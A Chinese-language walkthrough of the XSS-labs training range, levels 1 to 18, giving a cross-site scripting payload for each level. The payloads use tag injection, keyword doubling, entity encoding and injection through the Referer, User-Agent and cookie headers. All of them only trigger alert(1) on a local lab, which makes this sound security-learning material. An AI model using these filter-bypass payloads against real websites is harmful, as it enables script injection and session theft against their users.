XSS-labs通关(超详细)
2021-11-26 15:34:17 Author: www.freebuf.com(查看原文) 阅读量:17 收藏

1.第一关

payload:

http://xss/level1.php?name=<Script>alert(1)</Script>

2.第二关

image-20211022164836223

这里变量出现在两处,我们直接利用第二处,做构造以及闭合

payload:

1"><ScRipt>alert(1)</ScRipt>

3.第三关

​ 用第二关的payload去试一下,发现内容没变化,但是就是没当成js代码

image-20211022172007352

​ 查一下网页源代码和php代码

image-20211022172038643

image-20211022172124350

​ 看到使用了htmlspecialchars方法,它的作用是将特殊符号转换成HTML实体。那么什么是HTML实体呢?

​ 说白了就是HTML为了防止特殊符号,如 "<"等,html当成标签

这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~)

​ 这里我用的是click,直接点击一下就可以了

payload:

' onclick ='javascript:alert(1)'//

4.第四关

==同第三关(把单引号换成双引号)==

5.第五关

script过滤了,onclick也过滤了

image-20211023180844252

image-20211023180935727

尝试构造a标签

"></input><a href='javascript:alert(1)'>asd</a>//

image-20211023181214313

5.第六关

==同第二关==

7. 第七关

删去了script,这个简单看看是不是过滤了一次,将script变成scrscriptipt

image-20211023150423071

成功,看来只过滤了一次

image-20211023150542588

payload:

1"><ScscriptRipt>alert(1)</ScscriptRipt>

8. 第八关

老规矩拿第6关的payload试验一下,然后看网页源代码

image-20211023150939801

上边过滤了<>特殊符号

下边在script中间加了个下划线

但是注意看下边代码再href里,哪还说啥了

我们这里只是想把href的内容变成javascript:alert(1),而不涉及标签的修改,所以直接编码绕过

image-20211023162403411

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

9.第九关

先来波检测,填入它然后查源代码,看过滤情况

<>"'script onclick

image-20211023162613156

完BK,双引号和尖括号都给过滤了,但是下边发现了,您的链接不合法,那我填个合法的?

image-20211023163246074

那我再动动手脚

javascript:alert(1);http://www.baidu.com

还是不行

image-20211023163451280

那我编码呗(第八关的后边加个注释再加个网址)

==注意:==后边的//注释一定要加,不然它就驴唇不对马嘴,自然浏览器也懵逼,所以要把后边的网址注释掉。

payload:

javascript:alert(1)//http://www.baidu.com

image-20211023164524602

10.第十关

​ 还是'' ' >< script onclick测试一遍,发现只过滤了" 和<>,但是发现了三个隐藏的input,那么根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用

image-20211023181454854

t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//

最后的那位出来了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rqOVXnIJ-1635070623127)(C:\Users\梦晨\AppData\Roaming\Typora\typora-user-images\image-20211023182012429.png)]

payload:

&t_sort=" type='text' onclick='javascript:alert(1)'>//

image-20211023182112868

11.第十一关

先来看下源代码,又有四个货隐藏了

image-20211023182211845

​ 再来测下,发现还是t_sort不过双引号和尖括号被过滤,t_ref的值咋也变了,再仔细看下原来的,这不是第10关的网址吗?啊,懂了referer,那么就打开我亲爱的BP

t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//&t_ref=" type='text'>//

image-20211023182334065

直接刷新一下加上referer

image-20211023183139998

" type='text' onclick='javascript:alert(1)'>//

image-20211023183151382

12. 第十二关

image-20211023183320860

这不就是UA吗,so easy,来吧还是得用BP改下UA,payload同第十一关

image-20211023183436050

13.第十三关

查源代码,多了一个cook,传个值

image-20211023183544397

给我整不会了,跟我玩呢?仔细想想应该目标对了,打开方式不对,cook,难不成cookie?再用BP试试

image-20211023183855365

还真是,

image-20211023184414456

image-20211023184206058

14.第十四关

一顿调试无果,上网一找,题有问题

==瞎耽误工夫==

image-20211023184842199

15.第十五关

查源码

image-20211023185231316

image-20211023185723863

包含外部的html文件?那这么说我把第一关的网址试一下

http://xss/level15.php?src=http://xss/level1.php?name=%3CScript%3Ealert(1)%3C/Script%3E

image-20211023190448416

尖括号被屏蔽了,而且我们不能构造出onclick等时间,因为你点谁去啊?但是我们可以构造个img,然后onerror方法,来尝试一下

xss/level15.php?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'

image-20211023191104705

16.第十六关

老规矩

xss/level16.php?keyword=“ ‘ <> script onerror  onclick

image-20211023203411562

过滤了script和" '还有空格

尝试加个a标签,空格用回车编码代替,点击图片过关

<a%0D%0Aonclick='alert(1)'>

image-20211023204006325

17.第十七关

源代码,这个embed是什么?

image-20211023204611524

呵呵了,Firefox是能支持,查了需要插件,那我就换成谷歌吧(图片截错了截图成18关的了,不过17和18是一样的payload)

image-20211023204358960

123 onclick='alert(1)'

成了是成了,但是点完没法应可能跟调用失败有关吧,那就换个方法

image-20211024145023414

换成了onmousedown

payload:

123 onmousedown='alert(1)'

18.第十八关

==同第十七关==

(19和20涉及到反编译,等我升段之后再更)


文章来源: https://www.freebuf.com/articles/web/306129.html
如有侵权请联系:admin#unsafe.sh